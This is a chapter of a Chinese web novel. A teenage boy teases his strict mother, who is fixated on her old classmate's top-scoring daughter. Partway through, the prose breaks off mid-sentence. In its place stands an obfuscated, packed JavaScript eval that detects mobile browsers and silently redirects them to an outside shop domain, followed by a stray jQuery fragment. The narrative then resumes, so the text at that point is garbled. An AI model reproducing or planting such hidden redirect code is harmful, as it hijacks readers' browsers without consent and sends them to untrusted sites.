军训之前特意翻出了初一军训前买的防晒霜。
照完镜子我发誓,我再也不用过期的东西了。
——节选自初希日记。
--
军训结束那天正好是周五,周末放假给学生们休整的时间。
江楫舟回到家的时候,客厅空无一人,杨佳优的肩带水杯放在茶几上,盖子敞开放在一边,还冒着温热气。
杨佳优今年上初一,也在二中,初中军训放得比高中要早两天,按理说杨佳优在家才对。
江楫舟将书包往沙发上一扔,环顾一圈喊了声:“杨佳优。”
没人应声,江楫舟到杨佳优卧室,按下把手将门一推。
屋里没人,但床上的一床鹅黄色被罩拉链拉开,白色薄被被芯一部分塞进了被罩里,还有一部分拖在外面,被罩里鼓起一个球状,人还在里面吃力地蠕动。
江楫舟两步上前,手从被罩拉链里伸进去,跟提小鸡仔一样把杨佳优提出来,气到扶额叹息:“跟你说过多少次了,换被套不用整个人钻进去。”
杨佳优为了对准四个角在被子里团团转,热到满头大汗,被提出来的时候脸蛋红扑扑的,乱糟糟的头上还顶着几片白色的棉絮。
“我教你,看好了。”江楫舟两只手捏住被套短的那边,一抖,被罩平铺在床上,长边宽边一目了然,又抓起被芯相应的一角给她,“把这个角放进去对准。”
“算了算了。”江楫舟看她那流着汗的傻样,干脆赶她走,“下来,去喝水。”
杨佳优下床穿好拖鞋,去喝了点凉水凉快凉快,回来的时候江楫舟已经将被子四角塞进去铺平,“嘶啦”一声合上了拉链。
杨佳优看向江楫舟,他黑了点,看起来比之前不着调的样子靠谱了些,不过总体还好,色差不大。
她又借由衣柜上贴的全身镜看向自己,也没晒太黑,因为她身体不好,乔芦担心她承受不住,替她向学校提交了病历报告,每天只需要早晨在方队训练,温度高起来的时候就在树荫下休息。
江楫舟问:“乔女士呢?”
杨佳优爬上床,按教官教的把乱糟糟的被子叠成方块,说:“买的排骨闻起来不太新鲜,舅妈找超市理论去了。”
江楫舟后退几步打量着豆腐块一样的被子,“嘶”一声:“不错啊。”
又问:“乔钟呢?”
杨佳优答:“她只放周日半天,你忘了?”
江楫舟“哦”了声,转去厨房拉开冰箱冷藏的门。
杨佳优想起什么,小碎步地跟在他身后进去:“舅妈上次说,让你主动当班委什么的,你选上了吗?”
江楫舟从冰箱里拿出一碗洗净的葡萄,往嘴里扔了一颗:“没。”
“你怎么不当,你这样要挨舅妈骂的。”杨佳优眉头因为替他着急而微微皱着,身高差的原因,她只能高高仰头望着江楫舟。
江楫舟抱着葡萄碗出来,往沙发上一躺:“当课代表啊班长什么的,是要给班级做事的,我傻啊,我长得像那种会燃烧自己奉献他人的人吗?”
见杨佳优一副思考着想给出肯定答案的样子,江楫舟一个鲤鱼打挺坐起来强调:“我每天送你上下学是因为有乔女士逼我,不是因为我真的愿意。”
“再说了,是我挨骂,又不是你挨骂,你怕什么?”他嫌杨佳优咸吃萝卜淡操心,手一扬,“没事干你就去把我房间被子叠成你那样的。”
杨佳优真的没事干,乖乖地点点头:“嗯嗯。”
然而话音刚落,大门传来钥匙转动的声音。
江楫舟来不及让杨佳优出来,他的卧室在客厅最里那间,正对大门,乔芦进来时自然一眼就看见杨佳优小小的身影在江楫舟的房间,正和床上乱作一团的被子作斗争。
乔芦一手提新换的排骨,另一只手一叉腰,直指沙发上少爷坐姿的懒汉:“江楫舟,你再让你妹妹给你收拾房间,我就把你扔出去!”
“杨佳优。”江楫舟被抓包,干脆死皮赖脸吊儿郎当起来,斜乜了一眼卧室里的人,“你是不是自愿的?”
杨佳优跪在床上,抓着被子的两个角望向客厅,点头:“嗯嗯。”
“杨佳优出来。”乔芦一声令下,“江楫舟滚进去自己收拾。”
“乔女士,同样是生而平等的人类......”江楫舟细品了一下两句话,“为什么我的名字后面多了一个‘滚’字?”
乔芦进了厨房,冷冰冰的声音从里面传出来:“你说呢?!”
虽然乔芦一直对江楫舟没什么好脸色,但江楫舟发现自从家长会之后尤其如此。
果不其然,乔芦道:“我跟你说的哪句话你听过,让你不要使唤你妹妹,你听了呢?让你暑假去补课预习高中知识,你整个暑假干什么了?那我现在问问你,让你这几天多和初希主动交流,你跟她说过话吗?”
初希你害人不浅啊,江楫舟跟着去了厨房,仰天望了眼天花板。
他又想起什么,戳了戳水槽里还在动的活虾:“没说过话,但传过纸条算完成任务了吗?”
“传纸条?”乔芦永远都能第一时间发现江楫舟的问题,瞬间提高音量,“你还敢上课传纸条?”
“没上课,这不军训吗,你看我都晒黑了也不见你关心一下我。”
乔芦又问:“那我让你主动当班委,你主动了吗?”
“欸,你这就看不起人了。”江楫舟上台表现这么一番就为了在这等着乔芦,“你可以问我们班任何一个人,每一个我都主动参与了,甚至卫生委员我都去竞选了。”
他悲痛叹息:“但奈何优秀的我考进了一个更优秀的班级,同学们真的太积极主动了,竞争那叫一个激烈。”
乔芦对他没什么耐心,一字一句:“说、重、点。”
“激烈的比拼之后,我当上了光荣的体育委员,负责......”
“初希呢?”乔芦毫不留情地打断。
“初希心服口服,毫无异议,默默表示她将全力拥护......”
“我问的是初希主动当什么了!当班长还是当学委?!”
乔芦没心情和他说话:“算了,滚出去吧。”
一点不带关心他的,江楫舟拖腔带调:“自从你知道你那同学赵锦淑阿姨的女儿就叫初希以后,巴不得她是你生的,这样吧,我也改名叫初希怎么样?”
江楫舟冲外面喊:“杨佳优,以后叫我初希,初希哥哥。”
“......”杨佳优愣愣地睁着眼睛,虽不理解但,“......哦哦。”
乔芦的脸越来越黑,江楫舟生啃着一根顺手捞起的胡萝卜全然未觉,十分体贴:“为了让你更有代入感,我自退一步,初希姐姐也行。”
乔芦感觉她真是一拳头打在棉花上,她有时候觉得幸好江楫舟从小有她严格管教,要是散养,指定长成个桀骜不驯油腔滑调的江湖骗子。
江湖骗子又有话说:“乔女士,我上次就想问。”
江楫舟拿啃了一半的胡萝卜当作话筒,放到乔芦嘴边做采访:“你对赵锦淑女士这么在意,是不是因为你当年成绩没她好?”
乔芦只瞪了一眼她,跟这种吊儿郎当的人没什么好说的。
她闷着切菜,一个字没搭腔,不欲再理会江楫舟。
已经是饭点,现在炖排骨有些来不及了,乔芦将排骨从塑料口袋里拿出来准备放进冰箱下面的冷冻层,蹲下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17699968|208117||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的瞬间江楫舟的话筒也降低高度,不依不饶地追到了她的嘴边。
乔芦缓缓转过头:“?”
“江楫舟!”乔芦气急败坏。
“看吧,破案了。”江楫舟心满意足地站起来啃着话筒,慢悠悠地,“你根本不是关心我和初希,根据马克·吐温的自我敌对心理学,fromthebottomofyourheart,乔女士,看来你不是很喜欢你自己哦。”
“你当我没上过学是吧?”乔芦没心情和他扯东扯西,切土豆丝时菜板被震得哐哐作响,“谭老师发了通知,这周收假就开学考,我要看见什么你自己最清楚。”
看见什么?江楫舟胳膊搭上乔芦的肩:“乔女士,格局要大,我真正的对标者是省状元。”
“初希?”他挑个眉摇摇头,“不认识。”
乔芦将土豆丝泡在水里,撒了两勺盐进去。
说起初希她就无法抑制心里那股难言的情绪,这情绪那么熟悉,伴随着她的少女时代,像淡淡的盐水一样往她心里渗,这么多年,随着她年龄的增加已经有了日渐淡去的趋势,可仿佛骨骼生长受过的扭伤,会在不期遇的梅雨天传来一阵扯痛。
若是不知道近况倒也好,可知道的消息竟然是她的女儿也这么优秀吗?
开家长会时在班级里第一眼看见赵锦淑的时候,乔芦除了大学、事业等关键词的较量,某个想法也在脑海里一闪而过,让她不自觉瑟缩。
如果赵锦淑随口问起她老公,她要不要承认她已经离婚的事实?
仅仅一秒钟,乔芦就思考出了答案。
不要。
她要撒谎,或者打哈哈含糊过去。
她从小到大在同龄人里都是佼佼者,一段失败的婚姻她如何能启齿,更别提是在赵锦淑面前。
可下定了决心,又在听见赵锦淑坦然承认她没有上大学之后,乔芦震惊、诧异和惋惜之外,忽地又觉得可以接受赵锦淑来问她的婚姻状况。
我过得惨的前提是,你也很惨,且必须比我的程度更高一点——非常微妙、不齿的心理。
但天秤两端微妙的平衡在她得知初希是她女儿的刹那被打破。
“我告诉你,中考每个分数都有重复的,唯独只有初希,她甩了第二名12分,你知道12分是什么概念吗?”
在师资水平拉齐的条件下,过往历届的分数都咬得死紧,大家都已经考到了能够发挥的天花板,但这次有些不同,这次题出的难。
乔芦当过学生,明白简单的题普惠众生,但难题是一面照妖镜。
她分析过前十名的各科分数,初希甩出的差距并不在于语文——这门女生稍可能擅长的科目,而在于数学和化学——据说两科有难题的科目。
她看过试卷,数学压轴题是道几何题,最后两个小问结合了动点和圆的知识,一个小问考扎实的功底,最后一问靠巧劲,都十分巧妙,分别占比4分,据说是近十年来最有难度的压轴题。
前十名除初希外,最高分就是两个146,说明都是败在这个问题上。
但初希考了满分。
普通人和高手间难以逾越的沟壑对乔芦而言索然无味,但高手和高手的差距太动人心。
乔芦几乎是不自觉地又问了一遍:“甩了12分,你知道说明了什么吗?”
“说明你在教育界还不够叱诧风云。”江楫舟一阵见血,“但凡你在教育界呼风唤雨说一不二,一声令下将颜值并入中考甚至高考成绩,我直接——”
江楫舟字正腔圆:“斩获省状元.......啊!”
江楫舟“嘶”了一声捂着肩膀,眉心可怜巴巴地皱起:“乔女士,你打人真的很疼的。”